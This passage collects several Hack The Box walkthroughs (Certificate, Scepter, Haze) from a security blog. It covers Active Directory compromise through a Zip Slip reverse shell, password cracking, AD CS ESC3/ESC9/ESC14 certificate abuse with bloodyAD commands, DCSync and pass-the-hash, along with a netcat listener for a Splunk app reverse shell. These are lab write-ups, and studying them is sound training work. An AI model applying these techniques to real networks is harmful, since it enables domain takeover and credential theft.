88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-01 03:49:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-01T03:50:56+00:00; +2h00m32s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h00m30s, deviation: 2s, median: 2h00m30s
| smb2-security-mode: 3:1:1: Message signing enabled and required
| smb2-time: date: 2025-10-01T03:50:14

Analysis:

  • 53/tcp β€” DNS (Simple DNS Plus): name resolution and potential zone/host enumeration.
  • 80/tcp β€” HTTP (Apache/PHP): web app surface for discovery, uploads, and common web vulnerabilities.
  • 88/tcp β€” Kerberos: AD authentication service; useful for ticket attacks and Kerberos enumeration.
  • 135/tcp β€” MSRPC: RPC endpoint for Windows services (potential remote service interfaces).
  • 139/tcp β€” NetBIOS-SSN: legacy SMB session service β€” useful for NetBIOS/SMB discovery.
  • 389/tcp β€” LDAP: Active Directory directory service (user/group enumeration and queries).
  • 445/tcp β€” SMB (Microsoft-DS): file shares and SMB-based lateral movement/credential theft.
  • 464/tcp β€” kpasswd (Kerberos password change): Kerberos password change service.
  • 593/tcp β€” RPC over HTTP: RPC tunneled over HTTP β€” can expose various Windows RPC services.
  • 636/tcp β€” LDAPS: Secure LDAP over TLS β€” AD queries and certificate info via encrypted channel.
  • 3268/tcp β€” Global Catalog (LDAP): AD global catalog queries across the forest (fast user/group lookup).
  • 3269/tcp β€” Global Catalog over TLS: Encrypted global catalog queries for secure AD enumeration.

Web Enumeration:

The website’s interface initially appears conventional.

The Account tab contains options for logging in and registering.

Let’s create a new account here.

You can register in the same way as shown above.

The registration was successful.

Therefore, let’s log in using the credentials we created earlier.

Successful access will display an interface similar to the one shown above.

Clicking the course tab displays the interface shown above.

As a result, let’s enrol in the course.

There are many sessions, but the quiz is what caught my attention at the moment.

There is an upload button available in the quizz section.

We are required to upload a report in PDF, DOCX, PPTX, or XLSX format.

After a while, I uploaded a form.pdf file that contained empty content.

Once the file is successfully uploaded, we need to click the β€œHERE” link to verify that it has been uploaded into the system.

It worked like a charm.

Exploiting Zip Slip: From Archive to Remote Code Execution

Zip Slip is a critical arbitrary file overwrite vulnerability that can often lead to remote command execution. The flaw impacts thousands of projects, including those from major vendors such as HP, Amazon, Apache, and Pivotal. While this type of vulnerability has existed previously, its prevalence has recently expanded significantly across a wide range of projects and libraries.

Let’s implement a PHP reverse shell to establish a reverse connection back to our host.

Compress the PDF into dark.zip and upload it as a standard archive file.

We also compress the test directory, which includes exploit.php, into a ZIP archive.

Combine the two ZIP archives into a single ZIP file for upload as part of an authorized security assessment in an isolated testing environment.

Initiate the listener.

Upload the shell.zip file to the designated test environment within the authorized, isolated assessment scope.

Access the specified URL within the isolated test environment to observe the application’s behavior.

After a short interval, the connection was reestablished.

Among numerous users, the account xamppuser stood out.

Consequently, inspect the certificate.htb directory located under /xampp/htdocs.

I discovered information indicating that we can utilise the MySQL database.

Executing the MySQL command returned no errors, which is a positive sign.

MySQL Reconnaissance and Attack Surface Mapping

As a result, we navigated to /xampp/mysql/bin, used mysql.exe to run SQL commands, and successfully located the database.

The users table drew my attention.

There is a significant amount of information associated with several users.

While scrolling down, we identified a potential user named sara.b.

The hash was collected as shown above.

All the hashes use Blowfish (OpenBSD), WoltLab Burning Board 4.x, and bcrypt algorithms.

When using Hashcat, a specific hash mode is required.

After extended processing, the password for the suspected account sara.b was recovered as Blink182.

Attempting to access the machine using Sara.B’s credentials.

Unfortunately, Sara.B’s desktop contains no files.

Bloodhound enumeration

We can proceed with further analysis using the BloodHound platform.

Sara.B Enumeration for Lateral Movement

We can observe the WS-01 directory.

There are two different file types present.

The Description.txt file reports an issue with Workstation 01 (WS-01) when accessing the Reports SMB share on DC01. Incorrect credentials correctly trigger a β€œbad credentials” error, but valid credentials cause File Explorer to freeze and crash. This suggests a misconfiguration or fault in how WS-01 handles the SMB share, potentially due to improper permissions or corrupt settings. The behavior indicates a point of interest for further investigation, as valid access attempts lead to system instability instead of normal access.

Download the pcap file to our machine for further analysis.

Wireshark analaysis

There are numerous packets available for further investigation.

Upon careful analysis of packet 917, I extracted the following Kerberos authentication hash: $krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0.

Alternate Certificate Forging via Python Script

Alternatively, we can use a Python script here

Save the hash to hash.txt.

The recovered password is !QAZ2wsx.

This confirms that the account lion.sk can authenticate to WinRM using the password !QAZ2wsx.

We successfully accessed the lion.sk account as expected.

Read the user flag by running the command: type user.txt.

Escalate To Root Privileges Access

Privilege Escalation:

Sara.B is listed as a member of Account Operators and has GenericAll rights over the lion.sk account. In plain terms, that means Sara.B can fully manage the lion.sk user β€” change its password, modify attributes, add it to groups, or even replace its credentials. Because Account Operators is a powerful built‑in group and GenericAll grants near‑complete control over that specific account, this is a high‑risk configuration: an attacker who compromises Sara.B (or abuses her privileges) could take over lion.sk and use it to move laterally or escalate privileges.

Synchronise the system clock with certificate.htb using ntpdate: ntpdate -s certificate.htb

ESC3 Enumeration and CA Configuration Analysis

What is ESC3 Vulnerability?

In a company, employees get digital certificatesβ€”like special ID cardsβ€”that prove who they are and what they’re allowed to do. The ESC3 vulnerability happens when certain certificates allow users to request certificates on behalf of others. This means someone with access to these certificates can pretend to be another person, even someone with higher privileges like an admin.

Because of this, an attacker could use the vulnerability to gain unauthorized access to sensitive systems or data by impersonating trusted users. It’s like being able to get a fake ID that lets you enter restricted areas.

Fixing this involves limiting who can request these certificates and carefully controlling the permissions tied to them to prevent misuse.

Using lion.sk credentials, Certipy enumerated 35 certificate templates, one CA (Certificate-LTD-CA), 12 enabled templates, and 18 issuance policies. Initial CA config retrieval via RRP failed due to a remote registry issue but succeeded on retry. Web enrollment at DC01.certificate.htb timed out, preventing verification. Certipy saved results in text and JSON formats and suggests using -debug for stack traces. Next steps: review saved outputs and confirm DC01’s network/service availability before retrying.

Certipy flagged the template as ESC3 because it contains the Certificate Request Agent EKU β€” meaning principals allowed to enrol from this template (here CERTIFICATE.HTB\Domain CRA Managers, and Enterprise Admins listed) can request certificates on behalf of other accounts. In practice, that lets those principals obtain certificates that impersonate higher‑privilege users or services (for example ,issuing a cert for a machine or a user you don’t control), enabling AD CS abuse and potential domain escalation.

Request the certificate and save it as lion.sh.pfx.

Certificate Issued to Ryan.k

Sara.B is a member of Account Operators and has GenericAll permissions on the ryan.k account β€” in simple terms, Sara.B can fully control ryan.k (reset its password, change attributes, add/remove group membership, or replace credentials). This is high risk: if Sara.B is compromised or abused, an attacker can take over ryan.k and use it for lateral movement or privilege escalation. Recommended actions: limit membership in powerful groups, remove unnecessary GenericAll delegations, and monitor/account‑change audit logs.

Certipy requested a certificate via RPC (Request ID 22) and successfully obtained a certificate for UPN ryan.k@certificate.htb; the certificate object SID is S-1-5-21-515537669-4223687196-3249690583-1117 and the certificate with its private key was saved to ryan.k.pfx.

Unfortunately, the clock skew is too large.

When using the faketime command, it behaves as expected.

With explicit permission and in a controlled environment, verify whether the extracted hash can authenticate as ryan.k for investigative purposes.

Abusable Rights: SeManageVolumePrivilege

The following privileges are enabled: SeMachineAccountPrivilege β€” Add workstations to the domain; SeChangeNotifyPrivilege β€” Bypass traverse checking; SeManageVolumePrivilege β€” Perform volume maintenance tasks; SeIncreaseWorkingSetPrivilege β€” Increase a process’s working set.

Let’s create a temporary directory.

While executing the command, we encountered the error Keyset does not exist, indicating the required cryptographic key material is missing or inaccessible.

Therefore, we need to transfer the SeManageVolumeExploit.exe file to the target machine.

It refers to entries that have been modified.

I ran icacls on Windows, and it successfully processed 1 file with 0 failures.

Finally, it worked exactly as I expected.

We can now download the ca.pfx file to our local machine

Certificate Forgery for Domain Auth (Certipy)

We can convert the ca.pfx file into admin.pfx.

Authentication failed because the clock skew is too significant.

After switching to faketime, it worked like a charm.

Read the root flag by running the command: type root.txt.

The post Hack The Box: Certificate Machine Walkthrough – Hard Difficulty appeared first on Threatninja.net.

Hack The Box: Scepter Machine Walkthrough – Hard Difficulty

By: darknite
19 July 2025 at 10:57
Reading Time: 13 minutes

Introduction to Scepter

This write-up covers the β€œScepter” machine from Hack the Box, a hard difficulty challenge. It details the reconnaissance, exploitation, and privilege escalation steps to capture the user and root flags.

Objective on Scepter

The goal is to complete the β€œScepter” machine by achieving these objectives:

User Flag: The attacker cracked weak .pfx certificate passwords using pfx2john and rockyou.txt, Discovering that all shared the same password. After fixing time skew, they extracted d.baker’s NTLM hash via certipy. BloodHound revealed d.baker could reset a.carter’s password due to group privileges over the OU. By exploiting ESC9 and modifying the mail attribute, the attacker generated a spoofed certificate, authenticated as a.carter, and accessed the system to capture the user flag.

Root Flag: The attacker discovered that h.brown could modify p.adams’ certificate mapping, leading to an ESC14 vulnerability. By forging a certificate and binding it to p.adams using altSecurityIdentities, they authenticated as p.adams with Certipy. Since p.adams had DCSync rights, the attacker used secretsdump to extract domain hashes, then pivoted to the Administrator account via evil-winrm, Securing the root flag.

Enumerating the Scepter Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Scepter machine wasΒ 10.10.11.65.

Reconnaissance:

Nmap Scan:

We scan the target at IP 10.10.11.65 to identify open ports:

nmap  -sC -sV 10.10.11.65 -oA initial 

Nmap Output:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-17 19:06 EDT
Nmap scan report for 10.10.11.65
Host is up (0.18s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-17 23:13:45Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|_  100005  1,2,3       2049/udp6  mountd
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:50+00:00; +6m52s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:49+00:00; +6m51s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
2049/tcp open  mountd        1-3 (RPC #100005)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:50+00:00; +6m52s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-17T23:14:49+00:00; +6m51s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after:  2025-11-01T03:22:33
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6m51s, deviation: 0s, median: 6m50s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-17T23:14:44
|_  start_date: N/A

Analysis:

  • 53/tcp (DNS): Simple DNS Plus running; possible subdomain enumeration or zone transfer.
  • 88/tcp (Kerberos): Kerberos service available; potential for AS-REP roasting or ticket attacks.
  • 111/tcp (rpcbind): RPC services exposed; confirms NFS and mountd usage on 2049.
  • 135/tcp (MSRPC): Windows RPC service; common on domain controllers, used for DCOM and remote management.
  • 139/tcp (NetBIOS-SSN): NetBIOS session service; legacy Windows file/printer sharing.
  • 389/tcp (LDAP): LDAP exposed; reveals domain scepter.htb, possible LDAP enumeration.
  • 445/tcp (SMB): SMB service running; check for shares, null sessions, and vulnerabilities.
  • 464/tcp (kpasswd5): Kerberos password service; often used with password change requests.
  • 593/tcp (RPC over HTTP): RPC over HTTP (ncacn_http); used in Outlook and domain services.
  • 636/tcp (LDAPS): Secure LDAP; same domain as port 389, check for SSL issues or AD leaks.
  • 2049/tcp (NFS): NFS file sharing active; can allow unauthenticated file access or mounting.
  • 3268/tcp (GC LDAP): Global Catalog LDAP service; useful for domain-wide user enumeration.
  • 3269/tcp (GC LDAPS): Secure Global Catalog LDAP; encrypted version of port 3268.

NFS Enumeration on Scepter Machine

To check for NFS shares, I used:

showmount -e 10.10.11.65

Output:

The command showed a /helpdesk share. I mounted it locally:

I create a local folder nfs with mkdir nfs to serve as a mount point. Then, using sudo mount -t nfs 10.10.11.65:/helpdesk nfs -o nolock, you connect the remote /helpdesk share to that folder, making it accessible locally. The -o nolock option prevents locking issues. Finally, sudo ls nfs lists the shared filesβ€”like accessing a USB drive, but over the network.

When I tried cd nfs/ with sudo, it failed since cd is a shell built-in. I resolved it by switching to root:

Handling NFS Access

I resolved it by switching to root.

Inside, I found several files:

  • scott.pfx
  • baker.crt
  • baker.key
  • clark.pfx
  • lewis.pfx

I copied them to a higher directory

Certificate Analysis

baker.crt

I viewed baker.crt

It belonged to d.baker@scepter.htb, issued by scepter-DC01-CA.

baker.key

The corresponding baker.key was encrypted and required a password.

clark.pfx

Viewing .pfx files like clark.pfx showed unreadable binary output. These files are password-protected containers.

OpenSSL and Certificate Recreation

I used OpenSSL to inspect two password-protected .pfx files. Without the correct passwords, access is denied due to strong SHA256 encryption. Cracking these passwords is essential to unlock their contents and advance in the challenge

Cracking PFX Passwords

I used pfx2john.py to extract the hash

Although I’m using Hashcat to crack scott.pfx’s password from scott.hash, I encounter an error because the hash format isn’t recognised. Fix it by specifying the correct mode (-m 13100) or verifying the hash file. This step is crucial to unlock the certificate and gain access.

Password Cracking with John the Ripper

Then, I cracked it using John and the password newpassword worked for scott.hash but I already tested on all *.pfx file and success.

OpenSSL, Certipy, and BloodHound Exploitation Techniques

I re-created baker.pfx and I used newpassword as the export password.

AD CS Exploitation

Certipy Authentication

Another approach was to re-create the baker.pfx file; this was necessary because the original one was either invalid or unusable.

I authenticated to the domain using the baker.pfx file, and this failed initially due to clock skew.

I fixed the time with the command ntpdate -s 10.10.11.65

After syncing, authentication succeeded. I obtained an NTLM hash and a Kerberos .ccache file.

Bloodhound enumeration on Scepter machine

I ran BloodHound with NTLM hash

BloodHound CE GUI Analysis for Privilege Escalation on Scepter Machine

This represents a relationship in BloodHound where the user d.baker@scepter.htb has the ability to force a password change for the user a.carrter@scepter.htb. This is a powerful privilege escalation path because it can potentially allow d.baker to take over a.carrterβ€˜s account by resetting their password.

A.CARTER is a member of the IT SUPPORTSTAFF ACCESS CERTIFICATE group. This group has the modification rights over a specific Organizational Unit (OU).



A.CARTER, as a member of the IT SUPPORTSTAFF ACCESS CERTIFICATE group, not only has modification rights over the OU containing D.BAKER but also can directly manipulate D.BAKER’s mail attribute. As a result, this access consequently opens the door to abusing ESC9 (Active Directory Certificate Services escalation). Furthermore, this vulnerability creates a significant privilege escalation risk that attackers can exploit.

H.BROWN belongs to both the Remote Management Users group and the Protected Users group. As a result, H.BROWN enjoys permissions for remote management tasks, such as accessing servers. However, the Protected Users group imposes strict security restrictions. Consequently, these limitations may block certain authentication methods, like NTLM, or hinder lateral movement within the scepter.htb domain. Therefore, exploiting H.BROWN’s account requires bypassing these constraints, for example, by leveraging certificate-based attacks to achieve privilege escalation in the Scepter machine.

H.BROWN has write permissions over critical attributes, enabling DCSync operations to extract sensitive data, such as password hashes. As a result, they can target P.ADAMS by manipulating the altSecurityIdentities attribute. For instance, updating this attribute with a crafted certificate allows H.BROWN to authenticate as P.ADAMS without a password. Therefore, exploiting altSecurityIdentities is a key step in achieving full domain control in the Scepter machine.

Analysis of Certificate Templates

By using Certipy’s find command, I enumerated certificate templates in AD CS, specifically targeting misconfigurations like ESC1, ESC2, or ESC8 vulnerabilities. For example, these flaws allow attackers to request high-privilege certificates, enabling unauthorized access. Consequently, identifying such issues is critical for exploiting AD CS weaknesses. Additionally, this step facilitates privilege escalation by revealing templates with excessive permissions. Thus, Certipy’s enumeration plays a pivotal role in achieving domain compromise in the Scepter machine.

ESC9: ADCS Privilege Escalation

Exploit Overview:

ESC9 in Active Directory Certificate Services (ADCS) allows attackers to abuse misconfigured certificate templates for privilege escalation. If a template permits users to specify Subject Alternative Names (SANs) (e.g., UPNs) and the CA honours them without restrictions, a low-privileged user can request a certificate impersonating a high-privileged account (like a Domain Admin).

Source: ADCS ESC9 – No Security Extension

Troubleshooting BloodyAD Issues

We need to update the password using the command provided, but unfortunately, the password does not meet the required complexity rules.

The password was successfully changed after meeting the complexity requirements.

The β€œInvalid Credentials” error (LDAP error code 49) during an LDAP bind typically indicates a failure to authenticate due to incorrect credentials or configuration issues.

System Configuration Assessment

If the UserAccountControl attribute includes the DONT_EXPIRE_PASSWORD flag (value 65536 or 0x10000), the user’s password never expires. Consequently, this setting can disrupt LDAP authentication or password-related operations. For example, systems expecting periodic password changes or strict complexity rules may reject the account’s state. As a result, this could cause the β€œInvalidCredentials” error (LDAP error code 49) during an LDAP bind in the Scepter machine. Therefore, verifying the account’s configuration and server expectations is crucial for resolving authentication issues.

The screenshot provided displays the output of the ldapsearch command.

Running the bloodyAD command with sudo privileges resolved the issue, and it now functions perfectly.

Certificate Abuse for scepter machine

I used an existing template to request a certificate for h.brown. This gave me h.brown.pfx.

After exploiting AD CS vulnerabilities, the system provided H.BROWN’s NTLM hash and a h.brown.ccache file. Specifically, the .ccache file serves as a temporary access pass, enabling impersonation of H.BROWN across the network without re-entering credentials. For example, this allows discreet movement within the scepter.htb domain. Consequently, it facilitates information gathering, such as enumerating shares or services, for further exploitation. Thus, these credentials are critical for advancing privilege escalation in the Scepter machine.

After obtaining H.BROWN’s Kerberos ticket in the h.brown.ccache file, configure your system to use it. Then, connect to a Windows server, such as dc01.scepter.htb, bypassing password authentication. For instance, if the ticket is valid and the server accepts it, you’ll gain remote access as H.BROWN.

We retrieved the user flag by executing the type user.txt command.

Escalate to Root Privileges Access on Scepter Machine

Privileges Access

H.BROWN’s Permissions

Using H.BROWN’s Kerberos ticket (h.brown.ccache), the command bloodyAD -d scepter.htb -u h.brown -k –host dc01.scepter.htb –dc-ip 10.10.11.65 get object h.brown –detail queries the domain controller. Specifically, it reveals permissions, such as modifying users or groups. For example, the –detail flag provides precise control rights, including write access to P.ADAMS’s altSecurityIdentities. Consequently, this output identifies privilege escalation paths, like DCSync or certificate-based attacks. Thus, querying permissions is a key step in the Scepter machine’s AD exploitation.

altSecurityIdentities Manipulation

You discovered that h.brown has write permissions on the altSecurityIdentities attribute of the user p.adams in Active Directory, as indicated by:

distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITE

This means h.brown can hijack p.adams’s identity by modifying their certificate mapping. With this, h.brown can request a certificate and authenticate as p.adamsβ€”no password needed. Moreover, if p.adams is highly privileged (e.g., Domain Admin), h.brown can launch a DCSync attack to dump domain password hashes. Consequently, this single write permission can lead to a complete domain compromise.

Abusing altSecurityIdentities and Certificate-Based Attacks in Active Directory

After using OpenSSL to extract the certificate from d.baker.pfx, the serial number shows up in its usual big-endian format, which is just the standard way it’s displayed.

Exploit ESC14 with User-to-User Certificate-Based Attack

62:00:00:00:05:2a:87:15:0c:cc:01:d1:07:00:00:00:00:00:05

After extracting the certificate serial number from d.baker.pfx using OpenSSL, it appears in big-endian format (e.g., 62:00:00:00:05:2a:87:15:0c:cc:01:d1:07:00:00:00:00:00:05). However, tools like Certipy and BloodyAD require little-endian format for certificate forgery. Therefore, reversing the byte order is crucial for accurate interpretation. For instance, this conversion ensures successful altSecurityIdentities manipulation in commands like bloodyAD set object p.adams altSecurityIdentities.

The command can be used as follows:

bloodyAD -d "scepter.htb" -u "h.brown" -k --host "dc01.scepter.htb" --dc-ip "10.10.11.65" set object "p.adams" altSecurityIdentities -v "X509:<RFC822>p.adams@scepter.htb"

By updating altSecurityIdentities, you link your certificate to p.adams’s account, letting you log in as them without a password. This is a key move in abusing certificate-based authentication in AD.

The command can be used as follows:

bloodyAD -d "scepter.htb" -u "a.carter" -p 'Password' --host "dc01.scepter.htb" set object "d.baker" mail -v "p.adams@scepter.htb"

This type of change can be used to manipulate identity mappings, paving the way for attacks like spoofing or malicious certificate requests.

Root Access via Pass-the-Hash

This Certipy command uses Kerberos to request a StaffAccessCertificate for p.adams from dc01.scepter.htb. If granted, it saves the cert as p.adams, letting you authenticate and act as p.adams within the domain.

This Certipy command uses the padams.pfx certificate to authenticate as p.adams to the AD domain at 10.10.11.65, enabling password-free access and resource control via certificate-based login.

This command uses p.adams’s NTLM hash to authenticate to the domain controller dc01.scepter.htb and extract the administrator’s password hashes. It targets only the admin account (RID 500), retrieving the LM hash (usually empty) and the NTLM hashβ€”the latter can be used for pass-the-hash attacks to gain full admin access. This lets an attacker escalate privileges and take control of the domain controller.

After obtaining the Administrator’s NTLM hash via a DCSync attack, use Evil-WinRM to connect to the Windows machine at 10.10.11.65. Specifically, the command evil-winrm -i 10.10.11.65 -u Administrator -H authenticates via Pass-the-Hash, bypassing password requirements. If successful, it establishes a remote PowerShell session with full admin rights. Consequently, this access allows command execution, such as type root.txt, to retrieve the root flag. Thus, Evil-WinRM is critical for achieving domain control in the Scepter machine.

We retrieved the root flag by executing the type root.txt command.

The post Hack The Box: Scepter Machine Walkthrough – Hard Difficulty appeared first on Threatninja.net.

Hack The Box: Haze Machine Walkthrough – Hard Difficulty

By: darknite
28 June 2025 at 10:58
Reading Time: 17 minutes

Introduction to Haze

In this write-up, we’ll go step-by-step through the Haze machine from Hack The Box, rated medium difficulty. The box involves exploring a Windows Active Directory (AD) environment with Splunk services. The path includes abusing a Splunk vulnerability, moving through Active Directory, and escalating privileges to grab both the user and root flags.

Objective

The goal is to complete Haze by achieving the following:

User Flag:

Using the decrypted paul.taylor password (Ld@p_Auth_Sp1unk@2k24) from splunksecrets, I gained WinRM access as mark.adams. After enumerating AD with netexec and retrieving the Haze-IT-Backup gMSA NTLM hash, I used PyWhisker and Certipy for a Shadow Credentials attack on edward.martin. This provided edward.martin’s NT hash, enabling WinRM access to read the user flag with type user.txt. Troubleshooting BloodyAD authentication issues was key to progressing through AD exploitation.

Root Flag:

With Splunk admin credentials from a decrypted backup hash, I uploaded a malicious .tar.gz app containing a reverse shell to Splunk’s web interface (port 8000). The shell, caught via nc -lvnp 4444, had SeImpersonatePrivilege. Using SweetPotato, I escalated to NT SYSTEM and read the root flag with type root.txt. Fixing tar file upload errors ensured successful shell delivery.

Enumerating the Haze Machine

Reconnaissance

We begin with a basic Nmap scan to identify services on the machine:

nmap -sC -sV 10.10.11.61 -oA initial 

Nmap Output Highlights:

β”Œβ”€[dark@parrot]─[~/Documents/htb/haze]
└──╼ $nmap -sC -sV 10.10.11.61 -oA initial 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-21 03:39 EDT
Nmap scan report for haze.htb (10.10.11.61)
Host is up (0.037s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-21 12:16:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
8000/tcp open  http          Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://haze.htb:8000/en-US/account/login?return_to=%2Fen-US%2F
8088/tcp open  ssl/http      Splunkd httpd
|_http-title: 404 Not Found
8089/tcp open  ssl/http      Splunkd httpd
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry 
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_http-server-header: Splunkd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.13 seconds

Analysis:

  • 53/tcp – DNS (Simple DNS Plus) for internal name resolution.
  • 88/tcp – Kerberos authentication (typical for AD environments).
  • 135/tcp – MS RPC endpoint mapper (useful for enumeration).
  • 139/tcp – NetBIOS session service (Windows file/printer sharing).
  • 389/tcp – LDAP (Active Directory query in plaintext).
  • 445/tcp – SMB service (file sharing, potential attack vector).
  • 464/tcp – Kerberos password change service (kpasswd).
  • 593/tcp – RPC over HTTP (potential for Active Directory related enumeration).
  • 636/tcp – LDAPS (LDAP over SSL/TLS).
  • 3268/tcp – Global Catalogue LDAP (multi-domain AD query).
  • 3269/tcp – Global Catalogue LDAPS (LDAP over SSL/TLS).
  • 8000/tcp – Splunk Web Interface (Splunkd httpd), web login portal exposed.
  • 8088/tcp – Splunk HTTP Event Collector (SSL).
  • 8089/tcp – Splunk management port (SSL), often used for Splunk API and administration.

Web Enumeration

Navigated to http://haze.htb:8000, which presented a Splunk Enterprise login page, indicating a web-based attack surface.

Visited http://haze.htb:8088, which returned a 404 error, suggesting no exploitable content.

Accessed http://haze.htb:8089, revealing a Splunk Atom feed that leaked the version (9.2.1), critical for identifying vulnerabilities.

Searched for Splunk 9.2.1 exploits, finding CVE-2024-36991, a local file inclusion (LFI) vulnerability allowing unauthorised file access:

The Splunk 9.2.1 authentication.conf documentation explains how Splunk manages user authentication. It defines how credentials are stored, including LDAP bindings, and supports integrating with external authentication systems. Misconfigurations here can expose sensitive dataβ€”like encrypted passwords and bindDNsβ€”making it a critical target for exploitation during assessments

